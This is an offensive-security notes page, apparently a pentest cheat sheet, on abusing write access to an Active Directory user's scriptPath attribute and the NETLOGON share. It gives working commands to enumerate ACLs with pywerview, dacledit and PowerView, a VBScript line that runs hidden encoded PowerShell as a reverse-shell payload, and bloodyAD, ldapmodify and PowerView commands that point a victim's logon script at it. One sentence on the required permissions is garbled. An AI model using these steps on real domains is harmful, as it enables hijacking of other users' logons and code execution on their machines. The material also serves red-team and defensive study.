Logon Scripts

In Active Directory environments, system administrators use logon scripts to automate various user tasks or configurations when logging into the domain, such as mapping and unmapping network drives, auditing and reporting, gathering information, and environment customization. There are two methods for assigning users a logon script:

  1. using the Logon script field in the Profile tab of the user properties dialog, which internally updates the scriptPath attribute

  2. utilizing a Group Policy

The scriptPath attribute (part of the User-Logon property set) specifies the path for a user's logon script. The scriptPath attribute supports batch (*.bat) or command (*.cmd) files, executable programs (*.exe), or programs written in any language hosted by the Windows Script Host automation technology, including VBScript and JScript. Additionally, KiXtart, a logon script processor and enhanced batch scripting language can be used. Regardless of the myriad of languages it supports, scriptPath does not support PowerShell; however, we can run PowerShell commands from within batch and VBScript files.

To allow for replication to all domain controllers in the domain, Windows stores logon scripts in the scripts folder within the SYSVOL network share (%systemroot%\SYSVOL\sysvol); SYSVOL also stores domain and system policies, including GPOs. For ease of use, the NETLOGON network share holds all the logon scripts that reside in the %systemroot%\SYSVOL\sysvol\<DOMAIN_DNS_NAME>\scripts\ folder, and these two are the same. The LOGONSERVER environment variable, which evaluates to the NetBIOS name of the domain controller that authenticated the current user, can help us locate the SYSVOL and NETLOGON network shares.

Abusing write permissions over the ScriptPath attribute

Possessing the right to write a user's scriptPath opens avenues for potential attack paths. If we have write permissions anywhere within the NETLOGON share

Both NTFS permissions and share permissions to set the user's ScriptPath attribute.

We can enumerate the permissions we have over the attribute with Adalanche (BloodHound misses the ACL) but also using dacledit or pywerview

python3 pywerview get-objectacl --name 'anotherUser' -w domain.com -t 10.10.10.10 -u 'otter' -p 'SomethingSecure123!' --resolve-sids --resolve-guids

dacledit.py -principal 'otter' -target 'anotherUser' -dc-ip 10.10.10.10 domain.com/'otter':'SomethingSecure123!'

Powerview also works for enumerating the ACL

Import-Module .\PowerView.ps1
$otterSID = (Get-DomainUser -Identity otter).objectSID
Get-DomainObjectAcl -Identity anotherUser -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $otterSID}

Now we can enumerate the permissions we have over the NETLOGON share using a tool like smbcacls - if we have the sufficient permissions we can replace the logon script with malicious code like a revshell. Since we can't execute powershell scripts we will have to base64 encode some powershell command and execute them from another kind of file like a .bat or .cmd one

CreateObject("Wscript.shell").Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <BASE64>"

Once we upload the file to the share we have to modify the script path; to do this we can use BloodyAD

bloodyAD --host "10.10.10.10" -d "domain.com" -u "otter" -p 'SomethingSecure123!' set object anotherUser scriptPath -v 'folder\logonScript.bat'

or ldapmodify with a custom ldif file

dn: CN=anotherUser,CN=Users,DC=domain,DC=com
changetype: modify
replace: scriptPath
scriptPath: folder\logonScript.bat
ldapmodify -H ldap://10.10.10.10 -x -D 'otter@domain.com' -w 'SomethingSecure123!' -f logonScript.ldif

The same can be done from windows

Import-Module .\PowerView.ps1
Set-DomainObject anotherUser -Set @{'scriptPath'='folder\logonScript.bat'}
Get-DomainObject anotherUser -Properties scriptPath

The path to the logon script has to be relative to the NETLOGON share

Last updated